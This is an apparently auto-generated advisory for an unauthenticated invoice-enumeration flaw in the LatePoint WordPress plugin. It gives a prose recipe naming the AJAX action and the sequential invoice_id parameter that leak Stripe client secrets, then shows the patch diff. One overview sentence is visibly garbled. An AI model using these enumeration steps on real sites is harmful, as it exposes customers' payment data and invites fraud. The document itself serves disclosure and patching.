Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 17, 2026

CVE-2026-5234: LatePoint <= 5.3.2 – Insecure Direct Object Reference to Unauthenticated Sensitive Financial Data Exposure via Sequential Invoice ID (latepoint)

CVE ID CVE-2026-5234
Plugin latepoint
Severity Medium (CVSS 5.3)
CWE 639
Vulnerable Version 5.3.2
Patched Version 5.4.0
Disclosed April 15, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-5234:
This vulnerability is an Insecure Direct Object Reference (IDOR) in the LatePoint WordPress plugin (versions params[‘invoice_id’])` without verifying the user has permission to access that specific invoice. This contrasts with other invoice-related actions in `OsInvoicesController` (view_by_key, payment_form, summary_before_payment) which properly require a cryptographic UUID `access_key` parameter for authorization.

Exploitation:
Attackers can exploit this by sending POST requests to `/wp-admin/admin-ajax.php` with the `action` parameter set to `latepoint_stripe_connect_create_payment_intent_for_transaction` and an `invoice_id` parameter containing sequential integer values (e.g., 1, 2, 3). The endpoint acts as an error oracle: valid invoice IDs return payment intent data while invalid IDs return “Invoice not found” errors. On sites with Stripe Connect configured, successful requests leak `payment_intent_client_secret` tokens, `transaction_intent_key` values, customer IDs, order IDs, and payment amounts. Attackers can also create unauthorized transaction intent records in the database.

Patch Analysis:
The patch in version 5.4.0 modifies the `create_payment_intent_for_transaction` function to require an invoice access key instead of a sequential integer ID. The vulnerable lines 23-28 are replaced with code that retrieves the `key` parameter from the request, validates it exists, and uses `OsInvoicesHelper::get_invoice_by_key($invoice_access_key)` to fetch the invoice. This ensures the same cryptographic UUID validation used by other invoice endpoints. The function now throws “Invoice not found” exceptions for missing or invalid keys, eliminating the IDOR vulnerability by requiring proper authorization before accessing invoice data.

Impact:
Successful exploitation allows unauthenticated attackers to enumerate all valid invoice IDs in the system and access sensitive financial data including Stripe payment intent client secrets, transaction intent keys, invoice amounts, customer IDs, and order IDs. This data exposure could facilitate payment fraud, customer data harvesting, and further attacks against the Stripe integration. The vulnerability also allows attackers to create unauthorized transaction intent records in the database, potentially disrupting payment processing workflows.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/latepoint/latepoint.php
+++ b/latepoint/latepoint.php
@@ -2,7 +2,7 @@
 /**
  * Plugin Name: LatePoint
  * Description: Appointment Scheduling Software for WordPress
- * Version: 5.3.2
+ * Version: 5.4.0
  * Author: LatePoint
  * Author URI: https://latepoint.com
  * Plugin URI: https://latepoint.com
@@ -29,7 +29,7 @@
 		 * LatePoint version.
 		 *
 		 */
-		public $version    = '5.3.2';
+		public $version    = '5.4.0';
 		public $db_version = '2.3.0';


@@ -829,6 +829,7 @@
 			include_once LATEPOINT_ABSPATH . 'lib/helpers/events_helper.php';
 			include_once LATEPOINT_ABSPATH . 'lib/helpers/icalendar_helper.php';
 			include_once LATEPOINT_ABSPATH . 'lib/helpers/version_specific_updates_helper.php';
+			include_once LATEPOINT_ABSPATH . 'lib/helpers/update_helper.php';
 			include_once LATEPOINT_ABSPATH . 'lib/helpers/calendar_helper.php';
 			include_once LATEPOINT_ABSPATH . 'lib/helpers/meeting_systems_helper.php';
 			include_once LATEPOINT_ABSPATH . 'lib/helpers/marketing_systems_helper.php';
@@ -1056,6 +1057,9 @@

 		function plugins_loaded_hook() {
 			OsAnalyticsHelper::init();
+
+			// Should be trigger after all plugins are loaded.
+			OsUpdateHelper::init();
 		}

 		function check_addon_versions() {
--- a/latepoint/lib/controllers/customer_cabinet_controller.php
+++ b/latepoint/lib/controllers/customer_cabinet_controller.php
@@ -277,7 +277,8 @@
 			}

 			$booking_id = $this->params['id'];
-			$booking    = new OsBookingModel( $booking_id );
+			$this->check_nonce( 'cancel_booking_' . $booking_id );
+			$booking = new OsBookingModel( $booking_id );
 			if ( ! empty( $booking->id ) && ( OsAuthHelper::get_logged_in_customer_id() == $booking->customer_id ) && OsCustomerHelper::can_cancel_booking( $booking ) ) {
 				if ( $booking->update_status( LATEPOINT_BOOKING_STATUS_CANCELLED ) ) {
 					$status        = LATEPOINT_STATUS_SUCCESS;
--- a/latepoint/lib/controllers/pro_controller.php
+++ b/latepoint/lib/controllers/pro_controller.php
@@ -63,6 +63,11 @@
 			$this->vars['page_header'] = OsMenuHelper::get_menu_items_by_id( 'locations' );
 			$this->format_render( 'pro_feature', [], [], true );
 		}
+
+		public function assets() {
+			$this->vars['page_header'] = __( 'Assets', 'latepoint' );
+			$this->format_render( 'pro_feature', [], [], true );
+		}
 	}

 endif;
--- a/latepoint/lib/controllers/stripe_connect_controller.php
+++ b/latepoint/lib/controllers/stripe_connect_controller.php
@@ -23,12 +23,16 @@
 		}

 		public function create_payment_intent_for_transaction() {
-			if ( ! filter_var( $this->params['invoice_id'], FILTER_VALIDATE_INT ) ) {
-				exit();
-			}
 			try {
-
-				$invoice = new OsInvoiceModel( $this->params['invoice_id'] );
+				$invoice_access_key = sanitize_text_field( $this->params['key'] ?? '' );
+				if ( empty( $invoice_access_key ) ) {
+					throw new Exception( __( 'Invoice not found', 'latepoint' ) );
+				}
+				$invoice = new OsInvoiceModel();
+				$invoice = OsInvoicesHelper::get_invoice_by_key( $invoice_access_key );
+				if ( ! ( $invoice instanceof OsInvoiceModel ) || $invoice->is_new_record() ) {
+					throw new Exception( __( 'Invoice not found', 'latepoint' ) );
+				}

 				$transaction_intent = OsTransactionIntentHelper::create_or_update_transaction_intent( $invoice, $this->params );

@@ -54,7 +58,7 @@
 							'payment_intent_id'      => $payment_intent_id,
 							'payment_intent_secret'  => $payment_intent_client_secret,
 							'transaction_intent_key' => $transaction_intent->intent_key,
-						]
+						]
 					);
 				}
 			} catch ( Exception $e ) {
@@ -63,7 +67,7 @@
 						array(
 							'status'  => LATEPOINT_STATUS_ERROR,
 							'message' => $e->getMessage(),
-						)
+						)
 					);
 				}
 			}
@@ -121,8 +125,8 @@
 					[
 						LATEPOINT_PAYMENTS_ENV_LIVE,
 						LATEPOINT_PAYMENTS_ENV_DEV,
-					]
-				)
+					]
+				)
 			) ) ? $this->params['env'] : OsSettingsHelper::get_payments_environment();
 		}

@@ -135,7 +139,7 @@
 					'status'  => LATEPOINT_STATUS_SUCCESS,
 					'url'     => $url,
 					'message' => __( 'Redirecting to Stripe', 'latepoint' ),
-				)
+				)
 			);
 		}

@@ -157,14 +161,14 @@
 					array(
 						'status'  => LATEPOINT_STATUS_ERROR,
 						'message' => $e->getMessage(),
-					)
+					)
 				);
 			}
 			$this->send_json(
 				array(
 					'status'  => LATEPOINT_STATUS_SUCCESS,
 					'message' => OsStripeConnectHelper::get_connection_buttons_and_status( $env ),
-				)
+				)
 			);
 		}

@@ -205,14 +209,14 @@
 					array(
 						'status'  => LATEPOINT_STATUS_ERROR,
 						'message' => $e->getMessage(),
-					)
+					)
 				);
 			}
 			$this->send_json(
 				array(
 					'status'  => LATEPOINT_STATUS_SUCCESS,
 					'message' => OsStripeConnectHelper::get_connection_buttons_and_status( $env ),
-				)
+				)
 			);
 		}

@@ -227,7 +231,7 @@
 						'status'  => LATEPOINT_STATUS_ERROR,
 						'message' => 'Token is missing',
 					),
-					404
+					404
 				);
 			}
 			if ( $data['wp_latepoint_server_token'] != OsStripeConnectHelper::get_server_token() ) {
@@ -236,7 +240,7 @@
 						'status'  => LATEPOINT_STATUS_ERROR,
 						'message' => 'Invalid Token',
 					),
-					404
+					404
 				);
 			}

@@ -245,7 +249,7 @@
 					'status'  => LATEPOINT_STATUS_SUCCESS,
 					'message' => 'Heartbeat detected',
 				),
-				200
+				200
 			);
 		}

@@ -281,7 +285,7 @@
 					[
 						'cart_items_data' => wp_json_encode( $cart_items_data ),
 						'payment_data'    => wp_json_encode( $payment_data ),
-					]
+					]
 				);
 				if ( $this->get_return_format() == 'json' ) {
 					$this->send_json(
@@ -291,7 +295,7 @@
 							'payment_intent_id'         => $payment_intent_id,
 							'payment_intent_secret'     => $payment_intent_client_secret,
 							'order_intent_key'          => $order_intent->intent_key,
-						]
+						]
 					);
 				}
 			} catch ( Exception $e ) {
@@ -300,7 +304,7 @@
 						array(
 							'status'  => LATEPOINT_STATUS_ERROR,
 							'message' => $e->getMessage(),
-						)
+						)
 					);
 				}
 			}
--- a/latepoint/lib/controllers/wizard_controller.php
+++ b/latepoint/lib/controllers/wizard_controller.php
@@ -83,7 +83,7 @@
 						'message'       => $response_html,
 						'show_prev_btn' => true,
 						'show_next_btn' => $this->show_next_btn,
-					)
+					)
 				);
 			}
 		}
@@ -108,7 +108,7 @@
 						'message'       => $response_html,
 						'show_prev_btn' => $this->show_prev_btn,
 						'show_next_btn' => $this->show_next_btn,
-					)
+					)
 				);
 			}
 		}
@@ -121,6 +121,8 @@

 			add_option( 'latepoint_wizard_visited', true );

+			do_action( 'latepoint_onboarding_started' );
+
 			$this->vars['current_step_code']    = $current_step_code;
 			$this->vars['current_step_number']  = array_search( $current_step_code, $this->steps_in_order );
 			$this->vars['step_file_to_include'] = 'steps/_' . $current_step_code . '.php';
@@ -145,6 +147,10 @@

 			$new_current_step_code = $this->steps_in_order[ array_search( $current_step_code, $this->steps_in_order ) + 1 ];

+			// Wizard step completed.
+			$this->on_step_completed( $current_step_code, $new_current_step_code );
+
+			// Wizard is complete.
 			if ( 'complete' === $new_current_step_code ) {
 				do_action( 'latepoint_onboarding_completed' );
 			}
@@ -311,10 +317,31 @@
 		}

 		function step_personal_info() {
-			$this->vars['wizard_first_name']  = OsSettingsHelper::get_settings_value( 'wizard_first_name', '' );
-			$this->vars['wizard_last_name']   = OsSettingsHelper::get_settings_value( 'wizard_last_name', '' );
-			$this->vars['wizard_email']       = OsSettingsHelper::get_settings_value( 'wizard_email', '' );
-			$this->vars['wizard_email_optin'] = OsSettingsHelper::get_settings_value( 'wizard_email_optin', 'off' );
+			$current_user = wp_get_current_user();
+
+			$wizard_first_name = OsSettingsHelper::get_settings_value( 'wizard_first_name', '' );
+			$wizard_last_name  = OsSettingsHelper::get_settings_value( 'wizard_last_name', '' );
+			$wizard_email      = OsSettingsHelper::get_settings_value( 'wizard_email', '' );
+
+			if ( $current_user->exists() ) {
+				if ( empty( $wizard_first_name ) ) {
+					$wizard_first_name = $current_user->first_name;
+				}
+
+				if ( empty( $wizard_last_name ) ) {
+					$wizard_last_name = $current_user->last_name;
+				}
+
+				if ( empty( $wizard_email ) ) {
+					$wizard_email = $current_user->user_email;
+				}
+			}
+
+			$this->vars['wizard_first_name'] = $wizard_first_name;
+			$this->vars['wizard_last_name']  = $wizard_last_name;
+			$this->vars['wizard_email']      = $wizard_email;
+
+			$this->vars['wizard_email_optin'] = OsSettingsHelper::get_settings_value( 'wizard_email_optin', 'on' );
 			$this->show_next_btn              = true;
 		}

@@ -363,9 +390,43 @@

 			if ( $email_optin === 'on' ) {
 				update_option( 'latepoint_usage_optin', 'yes' );
+
+				$this->send_registration_data( $first_name, $last_name, $email, $email_optin );
+			}
+		}
+
+		function skip_setup() {
+			$current_step = isset( $this->params['current_step_code'] ) ? sanitize_text_field( $this->params['current_step_code'] ) : 'unknown';
+
+			$analytics                 = get_option( 'latepoint_onboarding_analytics', [] );
+			$analytics['exited_early'] = true;
+			$analytics['current_step'] = $current_step;
+			update_option( 'latepoint_onboarding_analytics', $analytics );
+
+			do_action( 'latepoint_onboarding_skipped', $current_step );
+
+			if ( $this->get_return_format() === 'json' ) {
+				$this->send_json(
+					[
+						'status'   => LATEPOINT_STATUS_SUCCESS,
+						'redirect' => OsRouterHelper::build_link( OsRouterHelper::build_route_name( 'dashboard', 'index' ) ),
+					]
+				);
+			}
+		}
+
+		private function on_step_completed( $step_code, $new_current_step ) {
+			// Save step completion to structured option.
+			$analytics = get_option( 'latepoint_onboarding_analytics', [] );
+			if ( ! isset( $analytics['completed_steps'] ) || ! is_array( $analytics['completed_steps'] ) ) {
+				$analytics['completed_steps'] = [];
+			}
+			if ( ! in_array( $step_code, $analytics['completed_steps'], true ) ) {
+				$analytics['completed_steps'][] = $step_code;
 			}
+			$analytics['current_step'] = $new_current_step;

-			$this->send_registration_data( $first_name, $last_name, $email, $email_optin );
+			update_option( 'latepoint_onboarding_analytics', $analytics );
 		}

 		private function send_registration_data( $first_name, $last_name, $email, $email_optin ) {
--- a/latepoint/lib/helpers/analytics_helper.php
+++ b/latepoint/lib/helpers/analytics_helper.php
@@ -39,6 +39,7 @@
 					'path'                => LATEPOINT_ABSPATH . 'lib/kit/bsf-analytics',
 					'author'              => 'LatePoint',
 					'time_to_display'     => '+24 hours',
+					'hide_optin_checkbox' => true,
 					'deactivation_survey' => apply_filters(
 						'latepoint_deactivation_survey_data',
 						[
@@ -66,7 +67,13 @@
 		// Plugin activated (dedup ensures).
 		self::events()->track( 'plugin_activated', LATEPOINT_VERSION );

+		// Plugin updated. Fires once per version change via OsUpdateHelper.
+		add_action( 'latepoint_update_after', [ __CLASS__, 'on_plugin_updated' ] );
+		add_action( 'latepoint_update_after', [ __CLASS__, 'on_plugin_updated_payment_state' ] );
+
 		// Event hooks.
+		add_action( 'latepoint_onboarding_started', [ __CLASS__, 'on_onboarding_started' ] );
+		add_action( 'latepoint_onboarding_skipped', [ __CLASS__, 'on_onboarding_skipped' ] );
 		add_action( 'latepoint_onboarding_completed', [ __CLASS__, 'on_onboarding_completed' ] );
 		add_action( 'activated_plugin', [ __CLASS__, 'on_pro_addon_activated' ] );
 		add_action( 'latepoint_settings_updated', [ __CLASS__, 'on_payment_processors_connected' ] );
@@ -88,12 +95,47 @@
 	}

 	/**
+	 * Handle onboarding started event.
+	 *
+	 * @return void
+	 */
+	public static function on_onboarding_started() {
+		self::events()->track( 'onboarding_started', LATEPOINT_VERSION );
+	}
+
+	/**
+	 * Handle onboarding skipped event.
+	 *
+	 * @param string $current_step The step the user was on when they skipped.
+	 * @return void
+	 */
+	public static function on_onboarding_skipped( $current_step ) {
+		$analytics       = get_option( 'latepoint_onboarding_analytics', [] );
+		$completed_steps = isset( $analytics['completed_steps'] ) && is_array( $analytics['completed_steps'] ) ? $analytics['completed_steps'] : [];
+
+		$props = [
+			'current_step'    => $current_step,
+			'completed_steps' => implode( ',', $completed_steps ),
+			'exited_early'    => 'yes',
+		];
+
+		self::events()->track( 'onboarding_skipped', LATEPOINT_VERSION, $props );
+	}
+
+	/**
 	 * Handle onboarding completion event.
 	 *
 	 * @return void
 	 */
 	public static function on_onboarding_completed() {
-		self::events()->track( 'onboarding_completed', LATEPOINT_VERSION );
+		$analytics       = get_option( 'latepoint_onboarding_analytics', [] );
+		$completed_steps = isset( $analytics['completed_steps'] ) && is_array( $analytics['completed_steps'] ) ? $analytics['completed_steps'] : [];
+
+		$props = [
+			'completed_steps' => implode( ',', $completed_steps ),
+		];
+
+		self::events()->track( 'onboarding_completed', LATEPOINT_VERSION, $props );
 	}

 	/**
@@ -104,12 +146,55 @@
 	 */
 	public static function on_pro_addon_activated( $plugin ) {
 		if ( 'latepoint-pro-features/latepoint-pro-features.php' === $plugin ) {
-			$version = defined( 'LATEPOINT_ADDON_PRO_VERSION' ) ? LATEPOINT_ADDON_PRO_VERSION : '';
+			$version = defined( 'LATEPOINT_ADDON_PRO_VERSION' ) ? LATEPOINT_ADDON_PRO_VERSION : 'unknown';
 			self::events()->track( 'pro_addon_activated', $version );
 		}
 	}

 	/**
+	 * Track plugin_updated event. Called via latepoint_update_after hook.
+	 *
+	 * @param string $old_version The version before the update.
+	 * @return void
+	 */
+	public static function on_plugin_updated( $old_version ) {
+		self::events()->track(
+			'plugin_updated',
+			LATEPOINT_VERSION,
+			[
+				'from_version' => $old_version,
+			],
+			true
+		);
+	}
+
+	/**
+	 * Capture current payment processor state on plugin update.
+	 * Reads from DB settings, not from a form submission.
+	 *
+	 * @return void
+	 */
+	public static function on_plugin_updated_payment_state() {
+		if ( ! class_exists( 'OsPaymentsHelper' ) && ! class_exists( 'OsSettingsHelper' ) ) {
+			return;
+		}
+
+		$env = OsSettingsHelper::get_payments_environment();
+
+		$processors = OsPaymentsHelper::get_payment_processors();
+		foreach ( $processors as $processor ) {
+			$code = $processor['code'] ?? '';
+			if ( ! empty( $code ) && OsPaymentsHelper::is_payment_processor_enabled( $code ) ) {
+				self::events()->track( $code . '_payment_enabled', $env, [], true );
+			}
+		}
+
+		if ( OsPaymentsHelper::is_local_payments_enabled() ) {
+			self::events()->track( 'local_payment_enabled', $env, [], true );
+		}
+	}
+
+	/**
 	 * Handle payment processors connected event.
 	 *
 	 * Records each enabled payment processor as a separate event — future-proof for new processors.
@@ -122,19 +207,19 @@
 			return;
 		}

-		$env = isset( $settings['payments_environment'] ) ? $settings['payments_environment'] : '';
+		$env = isset( $settings['payments_environment'] ) ? $settings['payments_environment'] : 'dev';

 		$processors = OsPaymentsHelper::get_payment_processors();
 		foreach ( $processors as $processor ) {
 			$code = $processor['code'] ?? '';
 			$key  = 'enable_payment_processor_' . $code;
 			if ( ! empty( $code ) && isset( $settings[ $key ] ) && 'on' === $settings[ $key ] ) {
-				self::events()->track( $code . '_payment_enabled', $env );
+				self::events()->track( $code . '_payment_enabled', $env, [], true );
 			}
 		}

 		if ( isset( $settings['enable_payments_local'] ) && 'on' === $settings['enable_payments_local'] ) {
-			self::events()->track( 'local_payment_enabled', $env );
+			self::events()->track( 'local_payment_enabled', $env, [], true );
 		}
 	}

@@ -189,6 +274,7 @@
 		return $stats_data;
 	}

+
 	/**
 	 * Get KPI tracking data for the last 2 days (excluding today).
 	 *
--- a/latepoint/lib/helpers/menu_helper.php
+++ b/latepoint/lib/helpers/menu_helper.php
@@ -130,6 +130,12 @@
 						'link'  => OsRouterHelper::build_link( [ 'pro', 'locations' ] ),
 					),
 					array(
+						'id'    => 'assets',
+						'label' => __( 'Assets', 'latepoint' ),
+						'icon'  => 'latepoint-icon latepoint-icon-layers',
+						'link'  => OsRouterHelper::build_link( [ 'pro', 'assets' ] ),
+					),
+					array(
 						'id'    => 'coupons',
 						'label' => __( 'Coupons', 'latepoint' ),
 						'icon'  => 'latepoint-icon latepoint-icon-tag1',
@@ -334,6 +340,12 @@
 						'link'  => OsRouterHelper::build_link( [ 'pro', 'locations' ] ),
 					),
 					array(
+						'id'    => 'assets',
+						'label' => __( 'Assets', 'latepoint' ),
+						'icon'  => 'latepoint-icon latepoint-icon-layers',
+						'link'  => OsRouterHelper::build_link( [ 'pro', 'assets' ] ),
+					),
+					array(
 						'id'    => 'coupons',
 						'label' => __( 'Coupons', 'latepoint' ),
 						'icon'  => 'latepoint-icon latepoint-icon-tag1',
--- a/latepoint/lib/helpers/shortcodes_helper.php
+++ b/latepoint/lib/helpers/shortcodes_helper.php
@@ -237,7 +237,7 @@
 					$output .= ! empty( $location->full_address ) ? '<div class="ri-map">' . $location->get_google_maps_iframe( 200 ) . '</div>' : '';
 					$output .= '<div class="ri-name"><h3>' . esc_html( $location->name ) . '</h3></div>';
 					$output .= ! empty( $location->full_address ) ? '<div class="ri-description">' . $location->full_address . '<a href="' . $location->get_google_maps_link() . '" target="_blank" class="ri-external-link"><i class="latepoint-icon latepoint-icon-external-link"></i></a></div>' : '';
-					$output .= '<div class="ri-buttons ' . $btn_wrapper_classes . '">
+					$output .= '<div class="ri-buttons ' . esc_attr( $btn_wrapper_classes ) . '">
 						<a href="#" ' . $data_atts . ' class="latepoint-book-button os_trigger_booking ' . esc_attr( $btn_classes ) . '" data-selected-location="' . esc_attr( $location->id ) . '">' . wp_kses_post( $atts['button_caption'] ) . '</a>
 					</div>';
 					$output .= '</div>';
--- a/latepoint/lib/helpers/time_helper.php
+++ b/latepoint/lib/helpers/time_helper.php
@@ -79,7 +79,7 @@
 		$ago_class = empty( $ago ) ? '' : 'time-past';
 		if ( $event_datetime ) {
 			$diff = $now_datetime->diff( $event_datetime );
-			if ( $diff->d > 0 ) {
+			if ( $diff->d > 0 || $diff->m > 0 || $diff->y > 0 ) {
 				$left = $before . $diff->format( '%a ' . __( 'days', 'latepoint' ) ) . $ago;
 			} else {
 				if ( $diff->h > 0 ) {
--- a/latepoint/lib/helpers/update_helper.php
+++ b/latepoint/lib/helpers/update_helper.php
@@ -0,0 +1,26 @@
+<?php
+
+class OsUpdateHelper {
+
+	/**
+	 * Run version-specific updates when the plugin version changes.
+	 *
+	 * @return void
+	 */
+	public static function init() {
+
+		$saved_version = get_option( 'latepoint_plugin_version', '0' );
+
+		do_action( 'latepoint_update_init', $saved_version );
+
+		if ( version_compare( $saved_version, LATEPOINT_VERSION, '=' ) ) {
+			return;
+		}
+
+		do_action( 'latepoint_update_before', $saved_version );
+
+		update_option( 'latepoint_plugin_version', LATEPOINT_VERSION, false );
+
+		do_action( 'latepoint_update_after', $saved_version );
+	}
+}
--- a/latepoint/lib/kit/bsf-analytics/class-bsf-analytics-events.php
+++ b/latepoint/lib/kit/bsf-analytics/class-bsf-analytics-events.php
@@ -58,42 +58,79 @@
 		}

 		/**
-		 * Track a one-time event. Skips if already tracked or pending.
+		 * Track an event. By default, skips if already tracked or pending (one-time semantics).
+		 * When $force is true, the event is treated as retrackable — bypasses the post-send
+		 * dedup check and overwrites any pending entry with the same name. Useful for
+		 * recurring events like `plugin_updated` where the latest value should always win.
 		 * Only stores temporary data — cleaned up after analytics send.
 		 *
 		 * @param string               $event_name  Event identifier.
 		 * @param string               $event_value Primary value (version, form ID, mode, etc.).
-		 * @param array<string, mixed> $properties  Additional context as key-value pairs.
+		 * @param array<string, mixed> $properties  Additional context as key-value pairs. Values are stored as-is — sanitization is the caller's responsibility.
+		 * @param bool                 $force       When true, bypass pushed dedup and overwrite pending entry. Default false.
 		 * @since 1.1.21
+		 * @since 1.1.25 Added the $force parameter.
 		 * @return void
 		 */
-		public function track( $event_name, $event_value = '', $properties = array() ) {
+		public function track( $event_name, $event_value = '', $properties = array(), $force = false ) {
 			// Sanitize inputs once upfront — ensures dedup comparisons match stored values.
 			$event_name  = sanitize_text_field( $event_name );
 			$event_value = sanitize_text_field( (string) $event_value );
 			$properties  = is_array( $properties ) ? $properties : array();
+			$force       = (bool) $force;

 			// Check dedup flag — already sent in a previous cycle.
-			$pushed = $this->get_option( 'usage_events_pushed', array() );
-			$pushed = is_array( $pushed ) ? $pushed : array();
-			if ( in_array( $event_name, $pushed, true ) ) {
-				return;
+			// Force bypasses this check; pushed list will be refreshed on next flush_pending().
+			if ( ! $force ) {
+				$pushed = $this->get_option( 'usage_events_pushed', array() );
+				$pushed = is_array( $pushed ) ? $pushed : array();
+				if ( in_array( $event_name, $pushed, true ) ) {
+					return;
+				}
 			}

 			// Check if already queued in current cycle.
 			$pending = $this->get_option( 'usage_events_pending', array() );
 			$pending = is_array( $pending ) ? $pending : array();
-			if ( in_array( $event_name, array_column( $pending, 'event_name' ), true ) ) {
-				return;
-			}

-			// Add to pending queue.
-			$pending[] = array(
+			$new_event = array(
 				'event_name'  => $event_name,
 				'event_value' => $event_value,
 				'properties'  => $properties,
 				'date'        => current_time( 'mysql' ),
 			);
+
+			if ( ! $force ) {
+				// Default path: cheap membership check — no need to locate the key.
+				if ( in_array( $event_name, array_column( $pending, 'event_name' ), true ) ) {
+					return;
+				}
+				$pending[] = $new_event;
+			} else {
+				// Force path: locate any existing entry by actual key to overwrite safely.
+				$existing_key = null;
+				foreach ( $pending as $key => $entry ) {
+					if ( isset( $entry['event_name'] ) && $entry['event_name'] === $event_name ) {
+						$existing_key = $key;
+						break;
+					}
+				}
+
+				if ( null !== $existing_key ) {
+					// Skip the write when nothing material changed (only `date` would differ).
+					$existing = $pending[ $existing_key ];
+					if ( array_key_exists( 'event_value', $existing )
+						&& array_key_exists( 'properties', $existing )
+						&& $existing['event_value'] === $new_event['event_value']
+						&& $existing['properties'] === $new_event['properties'] ) {
+						return;
+					}
+					$pending[ $existing_key ] = $new_event;
+				} else {
+					$pending[] = $new_event;
+				}
+			}
+
 			$this->update_option( 'usage_events_pending', $pending );
 		}

--- a/latepoint/lib/kit/bsf-analytics/class-bsf-analytics-stats.php
+++ b/latepoint/lib/kit/bsf-analytics/class-bsf-analytics-stats.php
@@ -101,6 +101,8 @@

 				'active_theme'           => get_template(),
 				'active_stylesheet'      => get_stylesheet(),
+
+				'admin_email'            => get_option( 'admin_email' ),
 			);
 		}

--- a/latepoint/lib/kit/bsf-analytics/class-bsf-analytics.php
+++ b/latepoint/lib/kit/bsf-analytics/class-bsf-analytics.php
@@ -30,7 +30,7 @@
 		 *
 		 * @var string Usage tracking document URL
 		 */
-		public $usage_doc_link = 'https://store.brainstormforce.com/usage-tracking/?utm_source=wp_dashboard&utm_medium=general_settings&utm_campaign=usage_tracking';
+		public $usage_doc_link = 'https://store.brainstormforce.com/usage-tracking/';

 		/**
 		 * Setup actions, load files.
@@ -164,6 +164,12 @@
 		 */
 		public function is_tracking_enabled() {

+			// Global kill switch — allows hosting providers, compliance plugins,
+			// or agency developers to disable all BSF tracking with one filter.
+			if ( ! apply_filters( 'bsf_usage_tracking_enabled', true ) ) {
+				return false;
+			}
+
 			foreach ( $this->entities as $key => $data ) {

 				$is_enabled = get_site_option( $key . '_usage_optin', false ) === 'yes' ? true : false;
@@ -202,6 +208,28 @@
 		}

 		/**
+		 * Get usage doc link with UTM parameters.
+		 *
+		 * Appends product-specific UTM params to the default usage tracking URL
+		 * so we can attribute which plugin's link was clicked.
+		 *
+		 * @param string $product_key Product key (e.g., 'spectra', 'surerank').
+		 * @param string $context     Where the link appears ('notice' or 'settings').
+		 * @return string Full URL with UTM parameters.
+		 * @since 1.1.23
+		 */
+		public function get_usage_doc_link( $product_key, $context = 'notice' ) {
+			return add_query_arg(
+				array(
+					'utm_source'   => $product_key,
+					'utm_medium'   => $context,
+					'utm_campaign' => 'usage_tracking',
+				),
+				$this->usage_doc_link
+			);
+		}
+
+		/**
 		 * Display admin notice for usage tracking.
 		 *
 		 * @since 1.0.0
@@ -225,7 +253,7 @@
 			foreach ( $this->entities as $key => $data ) {

 				$time_to_display = isset( $data['time_to_display'] ) ? $data['time_to_display'] : '+24 hours';
-				$usage_doc_link  = isset( $data['usage_doc_link'] ) ? $data['usage_doc_link'] : $this->usage_doc_link;
+				$usage_doc_link  = isset( $data['usage_doc_link'] ) ? $data['usage_doc_link'] : $this->get_usage_doc_link( $key, 'notice' );

 				// Don't display the notice if tracking is disabled or White Label is enabled for any of our plugins.
 				if ( false !== get_site_option( $key . '_usage_optin', false ) || $this->is_white_label_enabled( $key ) ) {
@@ -240,9 +268,9 @@
 				/* translators: %s product name */
 				$notice_string = sprintf(
 					__(
-						'Help us improve %1$s and our other products!<br><br>With your permission, we'd like to collect <strong>non-sensitive information</strong> from your website — like your PHP version and which features you use — so we can fix bugs faster, make smarter decisions, and build features that actually matter to you. <em>No personal info. Ever.</em>'
+						'<strong>Help shape the future of %1$s.</strong><br><br>Share how you use the plugin so we can build features that matter, fix issues faster, and make smarter decisions.'
 					),
-					'<strong>' . esc_html( $data['product_name'] ) . '</strong>'
+					esc_html( $data['product_name'] )
 				);

 				if ( is_multisite() ) {
@@ -270,7 +298,7 @@
 									</div>
 								</div>',
 							/* translators: %s usage doc link */
-							sprintf( $notice_string . '<span dir="%1s"><a href="%2s" target="_blank" rel="noreferrer noopener">%3s</a><span><br><br>', $language_dir, esc_url( $usage_doc_link ), __( ' Know More.' ) ),
+							sprintf( $notice_string . '<span dir="%1s"> <a href="%2s" target="_blank" rel="noreferrer noopener">%3s</a><span><br><br>', $language_dir, esc_url( $usage_doc_link ), __( 'Learn more.' ) ),
 							esc_url(
 								add_query_arg(
 									array(
@@ -280,7 +308,7 @@
 									)
 								)
 							),
-							__( 'Yes! Allow it' ),
+							__( 'Happy to help!' ),
 							esc_url(
 								add_query_arg(
 									array(
@@ -291,7 +319,7 @@
 								)
 							),
 							MONTH_IN_SECONDS,
-							__( 'No Thanks' )
+							__( 'Skip' )
 						),
 						'show_if'                    => true,
 						'repeat-notice-after'        => false,
@@ -371,6 +399,9 @@
 		private function optout( $source ) {
 			update_site_option( $source . '_usage_optin', 'no' );
 			update_site_option( 'bsf_usage_last_displayed_time', time() );
+
+			// Clear tracking transient immediately so opt-out takes effect right away.
+			delete_site_transient( 'bsf_usage_track' );
 		}

 		/**
@@ -455,7 +486,7 @@
 					continue;
 				}

-				$usage_doc_link = isset( $data['usage_doc_link'] ) ? $data['usage_doc_link'] : $this->usage_doc_link;
+				$usage_doc_link = isset( $data['usage_doc_link'] ) ? $data['usage_doc_link'] : $this->get_usage_doc_link( $key, 'settings' );
 				$author         = isset( $data['author'] ) ? $data['author'] : 'Brainstorm Force';

 				register_setting(
@@ -511,7 +542,7 @@
 				<input id="<?php echo esc_attr( $args['id'] ); ?>" type="checkbox" value="1" name="<?php echo esc_attr( $args['name'] ); ?>" <?php checked( $is_checked ); ?>>
 				<?php
 				/* translators: %s Product title */
-				echo esc_html( sprintf( __( 'Allow %s products to track non-sensitive usage tracking data.' ), $args['title'] ) );// phpcs:ignore WordPress.WP.I18n.NonSingularStringLiteralText
+				echo esc_html( sprintf( __( 'Help improve %s by sharing non-sensitive usage data — like PHP version and features used.' ), $args['title'] ) );// phpcs:ignore WordPress.WP.I18n.NonSingularStringLiteralText

 				if ( is_multisite() ) {
 					esc_html_e( ' This will be applicable for all sites from the network.' );
--- a/latepoint/lib/kit/bsf-analytics/modules/utm-analytics.php
+++ b/latepoint/lib/kit/bsf-analytics/modules/utm-analytics.php
@@ -11,7 +11,6 @@
 }

 if ( ! class_exists( 'BSF_UTM_Analytics' ) ) {
-

 	if ( ! defined( 'BSF_UTM_ANALYTICS_REFERER' ) ) {
 		define( 'BSF_UTM_ANALYTICS_REFERER', 'bsf_product_referers' );
@@ -43,8 +42,13 @@
 			'header-footer-elementor',
 			'latepoint',
 			'modern-cart',
+			'power-coupons',
 			'presto-player',
+			'sigmize',
 			'surecart',
+			'surecontact',
+			'surecookie',
+			'suredash',
